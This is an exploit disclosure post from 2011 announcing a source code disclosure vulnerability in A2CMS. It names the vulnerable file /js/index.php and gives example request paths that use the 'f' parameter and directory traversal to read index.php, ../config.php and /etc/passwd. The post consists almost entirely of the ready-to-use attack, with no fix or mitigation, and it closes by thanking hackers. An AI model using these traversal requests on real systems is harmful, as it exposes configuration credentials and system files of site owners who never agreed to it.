+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [#] Author : St493r [#] Contact : St493r@gmail.com [#] Title : A2CMS Source Code Disclosure Vulnerability [#] Vendor : http://a2cms.com [#] Tested On : Linux [#] Date : 28 - 09 - 2011 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [#] Vulnerability File : /js/index.php [#] Exploit : /js/index.php?f=filename [#] Example : /js/index.php?f=index.php /js/index.php?f=../config.php /js/index.php?f=../../../../etc/passwd +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [#] Thanks To All Iranian Hackers +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++